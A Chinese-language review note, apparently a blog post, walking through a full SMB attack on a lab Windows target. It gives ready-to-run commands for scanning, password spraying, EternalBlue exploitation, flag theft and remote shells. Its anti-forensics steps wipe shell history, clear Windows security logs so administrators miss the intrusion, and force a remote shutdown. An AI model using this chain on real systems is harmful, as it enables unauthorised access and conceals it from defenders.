windows系统139/tcp与445/tcp端口渗透完整流程闭环(复习总结)

一、核心端口基础认知

139/tcp与445/tcp均是Windows系统下SMB(Server Message Block,服务器消息块)协议的核心端口,用于文件共享、打印机共享及远程命令执行等功能,是Windows靶机渗透的最常用入口之一。

  • 139/tcp:基于NetBIOS协议的SMB端口,主要用于旧版Windows(如XP、Server 2003),通过NetBIOS名称解析实现设备间通信。

  • 445/tcp:直接基于TCP协议的SMB端口,Windows 2000及以上版本默认开启,替代139/tcp成为主流,支持更稳定的长连接和更高的传输效率,也是现代Windows靶机(如Win10、Server 2019)的核心攻击面。

渗透核心逻辑:通过SMB协议的身份认证漏洞、弱口令、协议漏洞(如永恒之蓝MS17-010)等,获取靶机账号密码或直接获取系统权限,进而实现完整控制。

二、完整渗透流程闭环(从侦察到离场)

阶段1:前期侦察------锁定目标与端口状态

核心目标:确认靶机存活、139/445端口是否开放、靶机系统版本及SMB服务信息,为后续攻击提供依据。

1.1 靶机存活探测

先确定靶机在局域网内的IP地址,常用工具:arp-scan、netdiscover。

复制代码

# 方法1:arp-scan扫描局域网存活设备(需root权限) sudo arp-scan -l # -l表示扫描当前网段 # 方法2:netdiscover指定网段扫描(更精准) sudo netdiscover -r 192.168.1.0/24 # 替换为实际网段

输出说明:重点记录"存活主机IP+MAC地址",若MAC地址前缀为00:0C:29(VMware)、52:54:00(VirtualBox),可确认是虚拟机靶机。

1.2 139/445端口及服务详情扫描

使用nmap深度扫描,获取端口状态、服务版本、靶机系统版本等关键信息。

复制代码

# 基础扫描:指定139、445端口,探测服务版本和操作系统 sudo nmap -p 139,445 -sV -O 192.168.1.3 # 替换为靶机IP # 全端口补充扫描(确认是否有其他关联端口,如3389 RDP) sudo nmap -p- -sV -T4 -A 192.168.1.3 # -T4为扫描速度等级,A为全面探测

关键输出解读:

  • PORT状态:需为"open"(开放)才具备攻击条件;

  • SERVICE信息:139对应"netbios-ssn",445对应"microsoft-ds";

  • OS details:确认Windows版本(如Win10 1709-21H2),影响漏洞选择(如新版Win10已修复永恒之蓝);

  • signing/SMBv1:若显示"signing:False"(SMB签名关闭),可降低攻击难度;"SMBv1:False"表示不支持旧版SMBv1协议。

阶段2:攻击突破------获取账号密码或直接提权

核心思路:优先尝试弱口令爆破(成本最低、成功率高),若失败再尝试SMB协议漏洞(如MS17-010)。

2.1 弱口令爆破(密码喷洒攻击)

Windows默认有账户锁定策略(多次错误密码锁定账号),因此采用"密码喷洒":用1个常见密码尝试多个常见账号,而非1个账号尝试多个密码。

2.1.1 准备字典(适配zsh/bash终端)
复制代码

# 1. 创建常见用户名字典(Windows高频账号) printf "Administrator\nadmin\nUser\nGuest\nWin10User\nDesktopUser" > users.txt # 2. 创建常见弱口令字典(避开特殊字符,兼容zsh) printf "123456\npassword\n12345678\nAdmin@123\nPassword123\n\n" > pass.txt # 空行表示空密码

2.1.2 执行爆破(使用crackmapexec工具)
复制代码

# 扫描SMB端口,使用字典进行密码喷洒 crackmapexec smb 192.168.1.3 -u users.txt -p pass.txt # 简化版:直接指定单个账号尝试(如Administrator) crackmapexec smb 192.168.1.3 -u Administrator -p pass.txt

2.1.3 爆破结果判断

若输出中出现"[+] DESKTOP-K81RUHG\Administrator:123456 (Pwn3d!)",表示成功获取管理员账号密码(Pwn3d! 代表已获取系统权限)。

2.2 备选方案:SMB协议漏洞利用(如永恒之蓝MS17-010)

若弱口令爆破失败,且靶机为旧版Windows(如Win7、Server 2008)或未打MS17-010补丁的Win10早期版本,可尝试此方法。

复制代码

# 1. 启动msfconsole(Metasploit框架) msfconsole # 2. 搜索并加载永恒之蓝漏洞模块 search ms17-010 use exploit/windows/smb/ms17_010_eternalblue # 3. 配置参数并执行攻击 set RHOSTS 192.168.1.3 # 靶机IP set RPORT 445 # SMB端口 run

成功标志:获取Meterpreter会话(终端显示"Meterpreter session 1 opened"),此时已获得系统权限。

阶段3:权限验证与目标取证------确认控制靶机

核心目标:利用获取的权限访问靶机核心资源(如C盘),提取靶机关键信息(如Flag、账号密码数据库)。

3.1 通过SMB共享验证权限(最直接)

Windows管理员默认拥有C、D等隐藏共享目录的访问权限,通过smbclient连接验证。

复制代码

# 连接靶机C盘隐藏共享(需管理员账号密码) smbclient //192.168.1.3/C$ -U Administrator%123456 # 连接成功后,执行以下命令取证 ls # 查看C盘文件(重点关注Flag文件,如my_flag.txt) get my_flag.txt # 下载Flag文件到Kali本地 exit # 退出连接 # 查看下载的Flag cat my_flag.txt

成功标志:能正常列出C盘文件并下载Flag(如flag{I_am_Administrator_and_I_pwned_this_machine!})。

3.2 获取交互式系统Shell(进阶)

使用impacket工具集的psexec或wmiexec,获取靶机cmd交互式shell,执行更多系统命令。

复制代码

# 方法1:psexec获取System权限shell impacket-psexec Administrator:123456@192.168.1.3 # 方法2:wmiexec获取shell(无痕迹,更隐蔽) impacket-wmiexec Administrator:123456@192.168.1.3 # 进入shell后,执行以下命令验证权限 whoami # 输出"nt authority\system"表示最高权限 ipconfig # 查看靶机网络配置 type C:\my_flag.txt # 直接查看Flag文件

阶段4:痕迹清理与离场------模拟真实渗透闭环

核心目标:清除攻击痕迹,避免被靶机管理员发现,完成"渗透-控制-撤离"的完整闭环。

4.1 清理攻击机(Kali)痕迹

复制代码

# 1. 清除终端命令历史(zsh终端) history -c # 清空当前会话历史 cat /dev/null > ~/.zsh_history # 彻底覆盖历史文件 # 2. 销毁靶机敏感文件(如Flag) shred -u my_flag.txt # 多次覆盖后删除,无法恢复(比rm更安全)

4.2 清理靶机痕迹

通过交互式shell清除Windows系统日志(记录登录、命令执行等操作)。

复制代码

# 1. 先获取靶机shell(若已退出,重新连接) impacket-wmiexec Administrator:123456@192.168.1.3 # 2. 清除Windows核心日志(wevtutil是Windows内置日志管理工具) wevtutil cl Security # 清除安全日志(记录登录/登出、权限变更) wevtutil cl System # 清除系统日志(记录服务启动/停止、系统错误) wevtutil cl Application # 清除应用程序日志 # 3. 退出shell exit

4.3 远程关闭靶机(彻底离场)

通过wmiexec远程执行关机命令,结束控制。

复制代码

impacket-wmiexec Administrator:123456@192.168.1.3 "shutdown /s /f /t 0" # 参数说明:/s=关机,/f=强制关闭程序,/t 0=立即执行

成功标志:靶机窗口黑屏关机,Kali终端输出"[*] Process exited with code 0"。

三、关键工具与命令汇总(复习重点)

工具/命令 作用 核心用法
nmap 端口扫描与服务探测 sudo nmap -p 139,445 -sV -O 靶机IP
crackmapexec SMB弱口令爆破(密码喷洒) crackmapexec smb 靶机IP -u users.txt -p pass.txt
smbclient 访问SMB共享目录,下载文件 smbclient //靶机IP/C$ -U 账号%密码
impacket-psexec 获取靶机交互式System权限shell impacket-psexec 账号:密码@靶机IP
impacket-wmiexec 远程执行命令(无痕迹) impacket-wmiexec 账号:密码@靶机IP "命令"
wevtutil 清除Windows系统日志 wevtutil cl Security / System / Application

四、常见问题与注意事项(避坑指南)

  • 终端兼容性问题:zsh终端对特殊字符(如!、\n)解析异常,创建字典时优先用printf而非echo -e;

  • 工具命名问题:新版Kali中impacket工具前缀简化(如impacket-sc.py→sc.py),优先使用impacket-wmiexec、impacket-psexec(兼容性更好);

  • RDP连接失败:Win10默认强制CredSSP协议,rdesktop不支持,可放弃图形界面,直接用smbclient或impacket获取shell;

  • 账号锁定风险:密码喷洒时避免高频尝试,若出现"STATUS_ACCOUNT_LOCKED_OUT",需等待锁定时间或更换字典;

  • 痕迹清理重点:Windows安全日志是核心,必须清除;Kali终端历史需彻底覆盖,避免泄露账号密码。

五、渗透闭环核心逻辑总结

139/445端口渗透的核心是"利用SMB协议的信任关系突破权限",完整闭环可概括为:

「侦察(nmap扫端口/系统)→ 突破(弱口令/漏洞拿权限)→ 取证(访问共享/读Flag)→ 清理(删日志/清历史)→ 离场(远程关机)」

其中,弱口令爆破是最实用的入门手段,也是真实渗透中高频成功的攻击方式;SMB协议漏洞则适用于特定版本靶机,需结合系统版本判断是否适用。

相关推荐
科技块儿2 小时前
内网系统IP离线数据库搭建与维护完整方案
数据库·网络协议·tcp/ip
YYYing.3 小时前
【计算机网络 | 第三篇】MAC地址与IP地址
网络·tcp/ip·计算机网络
蜂蜜黄油呀土豆3 小时前
深入理解 TCP 四次挥手及相关网络问题
tcp/ip·计算机网络·连接管理
❀͜͡傀儡师3 小时前
基于shell脚本来检测SSL证书过期并发送通知到钉钉
网络协议·钉钉·ssl
BD_Marathon3 小时前
MyBatis——封装SqlSessionUtils工具类并测试功能
java·windows·mybatis
CCPC不拿奖不改名3 小时前
基于FastAPI的API开发(爬虫的工作原理):从设计到部署详解+面试习题
爬虫·python·网络协议·tcp/ip·http·postman·fastapi
掘根3 小时前
【仿Muduo库项目】HTTP模块4——HttpServer子模块
网络协议·http·php
ipooipoo11884 小时前
如何判断动态IP池里的IP都是纯净的吗?
服务器·网络·tcp/ip
洛水如云4 小时前
笔记本数据迁移新电脑:从备份到实操的高效指南(适用于台式机)
windows·microsoft·电脑